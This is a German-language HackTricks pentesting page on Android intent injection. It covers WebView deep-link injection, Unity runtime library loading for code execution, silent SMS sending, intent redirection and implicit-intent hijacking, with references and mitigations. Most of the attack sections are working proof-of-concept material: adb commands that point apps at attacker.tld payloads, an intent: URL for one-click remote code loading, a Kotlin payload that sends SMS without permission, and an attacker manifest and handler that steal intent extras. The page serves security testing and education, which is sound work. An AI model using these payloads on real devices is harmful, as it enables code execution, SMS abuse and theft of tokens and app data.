Intent Injection
Reading time: 16 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Intent injection missbraucht Komponenten, die von Angreifern kontrollierte Intents oder Daten akzeptieren, die später in Intents umgewandelt werden. Zwei sehr häufige Muster bei Android-App pentests sind:
- Weitergabe manipulierte extras an exportierte Activities/Services/BroadcastReceivers, die später an privilegierte, nicht-exportierte Komponenten weitergeleitet werden.
- Auslösen exportierter VIEW/BROWSABLE deep links, die von Angreifern kontrollierte URLs in interne WebViews oder andere sensible Sinks weiterleiten.
Deep links → WebView sink (URL parameter injection)
If an app exposes a custom scheme deep link such as:
myscheme://com.example.app/web?url=<attacker_url>
Wenn die empfangende Activity den url-Query-Parameter in eine WebView weiterleitet, können Sie die App dazu zwingen, beliebige entfernte Inhalte in ihrem eigenen WebView-Kontext darzustellen.
PoC via adb:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact
- HTML/JS wird im WebView-Profil der App ausgeführt.
- Wenn JavaScript aktiviert ist (standardmäßig oder aufgrund falsch angeordneter Checks), können Sie alle exponierten
@JavascriptInterface-Objekte auflisten/verwenden, WebView cookies/local storage stehlen und pivoten.
See also:
Fehler in der Prüfungsreihenfolge, der JavaScript aktiviert
Ein wiederkehrender Fehler ist, JavaScript (oder andere permissive WebView-Einstellungen) zu aktivieren, bevor die finale URL-Allowlist/Verifikation abgeschlossen ist. Wenn frühe Helfer Ihren deep link akzeptieren und zuerst die WebView konfiguriert wird, erfolgt Ihr finaler Load mit bereits aktiviertem JavaScript, selbst wenn spätere Prüfungen fehlerhaft oder zu spät sind.
Worauf in dekompiliertem Code zu achten ist:
- Mehrere Helfer, die die URL unterschiedlich parsen/splitten/wiederaufbauen (inkonsistente Normalisierung).
- Aufrufe von
getSettings().setJavaScriptEnabled(true)vor der letzten Host/Path-Allowlist-Prüfung. - Eine Pipeline wie: parsen → teilweise validieren → WebView konfigurieren → final verifizieren → loadUrl.
Unity Runtime: Intent-zu-CLI-Extras → Native-Library-Injektion vor der Initialisierung (RCE)
Unity-basierte Android-Apps verwenden typischerweise com.unity3d.player.UnityPlayerActivity (oder UnityPlayerGameActivity) als Entry Activity. Unitys Android-Template behandelt ein spezielles Intent-Extra namens unity als eine Zeichenkette von Kommandozeilenflags für die Unity-Runtime. Wenn die Entry Activity exported ist (Standard in vielen Templates), kann jede lokale App – und manchmal eine Website, wenn BROWSABLE gesetzt ist – dieses Extra liefern.
Ein gefährliches, undokumentiertes Flag führt während der sehr frühen Prozessinitialisierung zur Ausführung nativen Codes:
- Hidden flag:
-xrsdk-pre-init-library <absolute-path> - Effect:
dlopen(<absolute-path>, RTLD_NOW)sehr früh in der Init, lädt ein vom Angreifer kontrolliertes ELF im Prozess der Ziel-App mit deren UID und Berechtigungen.
Reverse-engineering excerpt (simplified):
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW
Warum es funktioniert
- Das Intent-Extra
unitywird in Unity-Laufzeitflags geparst. - Das Setzen des pre-init flag weist Unity auf einen attacker-controlled ELF-Pfad innerhalb eines erlaubten linker namespace-Pfads hin (siehe Einschränkungen unten).
Bedingungen für die Ausnutzung
- Die Unity entry Activity ist exported (in der Regel standardmäßig).
- Für one-click remote via browser: die entry Activity deklariert außerdem
android.intent.category.BROWSABLE, sodass extras von einerintent:URL übergeben werden können.
Lokale Ausnutzung (gleiches Gerät)
- Platziere ein payload ELF an einem Pfad, der von der victim app gelesen werden kann. Am einfachsten: liefere eine malicious library in deiner eigenen attacker app mit und stelle sicher, dass sie unter
/data/app/.../lib/<abi>/extrahiert wird, indem du im attacker’s manifest:
<application android:extractNativeLibs="true" ...>
- Starte die Unity-Aktivität des Opfers mit dem CLI pre-init Flag im
unityextra. Beispiel ADB PoC:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
- Unity calls
dlopen("/data/.../libpayload.so", RTLD_NOW); dein payload läuft im victim process und erbt alle app permissions (camera/mic/network/storage, etc.) sowie Zugriff auf in-app sessions/data.
Notes
- Der genaue Pfad
/data/app/...variiert je nach Gerät/Installation. Eine attacker app kann ihr eigenes native lib dir zur Laufzeit viagetApplicationInfo().nativeLibraryDirabrufen und an den Trigger kommunizieren. - Die Datei muss nicht mit
.soenden, wenn sie ein gültiges ELF ist —dlopen()achtet auf ELF-Header, nicht auf Dateiendungen.
Remote one‑click via browser (conditional)
If the Unity entry activity is exported with BROWSABLE, a website can pass extras via an intent: URL:
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;
Auf modernen Android-Versionen blockieren die dynamic linker namespaces und SELinux das Laden aus vielen öffentlichen Pfaden (z. B. /sdcard/Download). Sie sehen Fehler wie:
library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]
Umgehungsstrategie: Ziele Apps an, die vom Angreifer kontrollierte Bytes im privaten Speicher zwischenspeichern (z. B. HTTP caches). Da erlaubte Pfade /data und das private Verzeichnis der App einschließen, kann das Setzen von -xrsdk-pre-init-library auf einen absoluten Pfad innerhalb des App-Caches die Linker-Beschränkungen erfüllen und Code-Ausführung ermöglichen. Dies spiegelt frühere cache-to-ELF RCE‑Muster wider, die in anderen Android-Apps beobachtet wurden.
Confused‑Deputy: Silent SMS/MMS via ACTION_SENDTO (Wear OS Google Messages)
Einige Standard-Messaging-Apps führen implizite Messaging‑Intents fälschlicherweise automatisch aus und verwandeln sie so in eine confused‑deputy‑Primitive: jede unprivilegierte App kann Intent.ACTION_SENDTO mit sms:, smsto:, mms:, oder mmsto: auslösen und damit sofortiges Senden ohne Bestätigungs‑UI und ohne die Berechtigung SEND_SMS verursachen.
Key points
- Trigger: implizites
ACTION_SENDTO+ Messaging-URI-Schema. - Data: Empfänger in der URI setzen, Nachrichtentext im Extra
"sms_body". - Permissions: keine (kein
SEND_SMS), abhängig vom Standard-SMS/MMS-Handler. - Observed: Google Messages for Wear OS (gepatcht Mai 2025). Andere Handler sollten ebenfalls geprüft werden.
Minimal payload (Kotlin)
val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)
ADB PoC (keine besonderen Berechtigungen)
# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890" --es sms_body "hello"
# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890" --es sms_body "hello"
Erweiterung der Angriffsfläche (Wear OS)
- Jede Komponente, die Activities starten kann, kann dieselbe Payload auslösen: Activities, foreground Services (with
FLAG_ACTIVITY_NEW_TASK), Tiles, Complications. - Wenn der Standard-Handler automatisch sendet, kann ein Missbrauch je nach OEM-Richtlinien per one‑tap oder vollständig still aus Hintergrundkontexten erfolgen.
Pentest checklist
- Resolve
ACTION_SENDTOauf dem Ziel, um den Standard-Handler zu identifizieren; überprüfe, ob er eine Compose-UI anzeigt oder still sendet. - Teste alle vier schemes (
sms:,smsto:,mms:,mmsto:) und Extras (sms_body, optionalsubjectfür MMS), um Verhaltensunterschiede zu prüfen. - Berücksichtige kostenpflichtige Zielnummern / Premium‑Rate‑Nummern beim Testen auf echten Geräten.
Other classic Intent injection primitives
- startActivity/sendBroadcast unter Verwendung attacker-gelieferter
Intent-Extras, die später erneut geparst (Intent.parseUri(...)) und ausgeführt werden. - Exportierte Proxy-Komponenten, die Intents an nicht-exportierte sensitive Komponenten ohne Berechtigungsprüfungen weiterleiten.
Automating exported-component testing (Smali-driven ADB generation)
Wenn exportierte Komponenten bestimmte Extras erwarten, führt das Raten der Payload-Struktur zu Zeitverschwendung und False-Negatives. Du kannst die Erkennung von Keys/Typen direkt aus Smali automatisieren und ausführbare adb-Kommandos erzeugen.
Tool: APK Components Inspector
- Repo: https://github.com/thecybersandeep/apk-components-inspector
- Ansatz: dekompiliere und scanne Smali nach Aufrufen wie
getStringExtra("key"),getIntExtra("id", ...),getParcelableExtra("redirect_intent"),getSerializableExtra(...),getBooleanExtra(...),getAction(),getData()um abzuleiten, welche Extras und Felder von jeder Komponente verwendet werden. - Ausgabe: Für jede exportierte Activity/Service/Receiver/Provider gibt das Tool eine kurze Erklärung und den exakten
adb shell am .../cmd content ...-Befehl mit korrekt typisierten Flags aus.
Install
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich
Verwendung
python apk-components-inspector.py target.apk
Beispielausgabe
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items
ADB am Extras-Spickzettel (typenbewusste Flags)
- Strings:
--es key value| String-Array:--esa key v1,v2 - Ganze Zahlen:
--ei key 123| Int-Array:--eia key 1,2,3 - Boolean-Werte:
--ez key true|false - Longs:
--el key 1234567890 - Floats:
--ef key 1.23 - URIs (extra):
--eu key content://...| Data-URI (Intent data):-d content://... - Component extra:
--ecn key com.pkg/.Cls - Null-String-Extra:
--esn key - Common flags:
-a <ACTION>-c <CATEGORY>-t <MIME>-f <FLAGS>--activity-clear-task --activity-new-task
Pro-Tipps für Provider
- Verwende
adb shell cmd content query|insert|update|delete ..., um ContentProviders ohne Agents anzusprechen. - Für SQLi-Tests variiere
--projectionund--where(aka selection), wenn der zugrundeliegende Provider SQLite-basiert ist.
Vollständige Pipeline-Automatisierung (interaktiver Executor)
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Hilfsskript zum Parsen und Ausführen von adb-Befehlen
import subprocess
def parse_adb_commands(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()
commands = []
current = []
for line in lines:
s = line.strip()
if s.startswith("adb "):
current = [s]
elif s.startswith("#") or not s:
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
current = []
elif current:
current.append(s)
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
return commands
for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
print(f"\nCommand {i}: {cmd}")
input("Press Enter to execute this command...")
try:
r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
print("Output:\n", r.stdout)
if r.stderr:
print("Errors:\n", r.stderr)
except subprocess.CalledProcessError as e:
print(f"Command failed with error:\n{e.stderr}")
Run on-device: the inspector is Python-based and works in Termux or rooted phones where apktool/androguard are available.
Intent Redirection (CWE-926) – finden und ausnutzen
Pattern
- Ein exportierter Einstiegspunkt (Activity/Service/Receiver) liest ein eingehendes Intent und leitet es intern oder extern weiter, ohne Quelle/Daten zu validieren, z. B.:
startActivity(getIntent())startActivity(intent)whereintentcame from an extra likeredirect_intent/next_intent/pending_intentorIntent.parseUri(...).- Verlassen auf
action/data/componentFelder ohne Überprüfungen; die Identität des Aufrufers wird nicht verifiziert.
What to search in Smali/Java
- Verwendung von
getParcelableExtra("redirect_intent"),getParcelable("intent"),getIntent().getParcelableExtra(...). - Direkte Aufrufe von
startActivity(...),startService(...),sendBroadcast(...)auf von Angreifer beeinflussten Intents. - Fehlende
getCallingPackage()/getCallingActivity()-Prüfungen oder eigene Berechtigungs-Checks.
ADB PoC templates
- Proxy Activity forwarding an extra Intent to a privileged internal Activity:
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
- Exportierter Service, der ein
redirect_intentparcelable unterstützt:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
- Exported Receiver, der ohne Validierung weiterleitet:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'
Flags, die für singleTask-style-Verhalten hilfreich sind
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task
Praxisbeispiele (Auswirkungen variieren):
- CVE-2024-26131 (Element Android): exported flows, die zu WebView manipulation, PIN bypass und login hijack führen.
- CVE-2023-44121 (LG ThinQ Service): exported receiver action
com.lge.lms.things.notification.ACTION→ system-level effects. - CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → arbitrary file access (w/ user interaction).
- CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
- CVE-2021-4438 (React Native SMS User Consent).
- CVE-2020-14116 (Xiaomi Mi Browser).
Intent Hijacking (implicit intents)
Bedrohungsmodell
- App A erwartet ein sensibles Ergebnis von App B über einen implicit Intent (z. B. ein OAuth redirect, ein document picker result, eine IMAGE_CAPTURE-Rückgabe oder eine benutzerdefinierte callback action).
- Angreifer-App C veröffentlicht eine exported component mit einem passenden
<intent-filter>für dieselbeaction/category/data. Wenn B den implicit Intent auflöst, kann der resolver einen chooser anzeigen; wählt der Benutzer C (oder setzt es als Standard), wird die payload an die Angreifer-Komponente statt an A geliefert.
Minimal PoC manifest (attacker):
<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>
Handler-Skelett:
public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}
Hinweise
- Die Spezifität der Übereinstimmung ist entscheidend (action + categories + data). Je spezifischer C’s Filter gegenüber B’s ausgehendem Intent ist, desto höher die Wahrscheinlichkeit, dass er angezeigt oder automatisch ausgewählt wird.
- Das gilt auch für Deep Links (
VIEW+BROWSABLE), wenn Apps erwarten, dass eine andere App eine URL behandelt und etwas zurückgibt.
Pentest guidance
- Grep das Ziel nach
startActivity/startActivityForResult/registerForActivityResult-Aufrufen, die nicht-explizite Intents verwenden. - Untersuche Intents, die Tokens in
extras,clipDataodergetData()transportieren, und prüfe, ob ein Drittanbieter einen kompatiblen Filter registrieren könnte. - Empfehle, implizite Flows durch explizite Intents zu ersetzen (set
setPackage()/setComponent()), oder caller-permission/signed permissions auf exportierten Receivers/Services zu verlangen.
Gegenmaßnahmen
- Bevorzuge explizite Intents für sensitive Flows (callbacks, tokens, auth results).
- Wenn Cross-App-Kommunikation notwendig ist, füge dem empfangenden Komponenten Berechtigungsanforderungen hinzu und validiere die Identität des Callers.
- Begrenze und straffe Intent-Filter auf das absolut Notwendige (scheme/host/path/MIME).
Beobachten der Resolver-Entscheidungen (FLAG_DEBUG_LOG_RESOLUTION)
Wenn du den Sender kontrollierst, füge einem impliziten Intent Intent.FLAG_DEBUG_LOG_RESOLUTION hinzu, damit Android protokolliert, wie die Auflösung erfolgt und welche Komponente ausgewählt wird.
Beispiel:
Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);
In adb logcat sehen Sie den Auflösungsverlauf und die finale Komponente, z. B. com.android.camera2/com.android.camera.CaptureActivity.
CLI-Tipp
# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008
# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"
Das ist nützlich, um mögliche Handler auf einem Gerät/Emulator aufzulisten und genau zu bestätigen, welche Komponente während des Tests ein Intent erhält.
Referenzen
- Android – Access to app-protected components
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
- Demonstration video
- Automating Android App Component Testing with New APK Inspector (blog)
- APK Components Inspector – GitHub
- Google guidance on intent redirection
- OVAA vulnerable app
- Exported Service PoC APK
- Ostorlab – 100M installs image app deep dive (component summary example)
- CVE-2024-26131 – NVD
- CVE-2023-44121 – CVE.org
- CVE-2023-30728 – CVE.org
- CVE-2022-36837 – CVE.org
- CVE-2021-4438 – NVD
- CVE-2020-14116 – NVD
- Android Intents (1/2): how they work, security, and attack examples – Mobeta
- Android Intent reference
- CVE-2025-59489 – Arbitrary Code Execution in Unity Runtime (blog)
- Unity docs – Android custom activity command-line
- Unity Security Sept-2025-01 advisory
- HEXACON talk – Messenger one-click cache-based RCE pattern (slides)
- CVE-2025-12080 — Intent Abuse in Google Messages for Wear OS
- PoC repo – io-no/CVE-2025-12080
- Android docs – Intents and Intent Filters
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks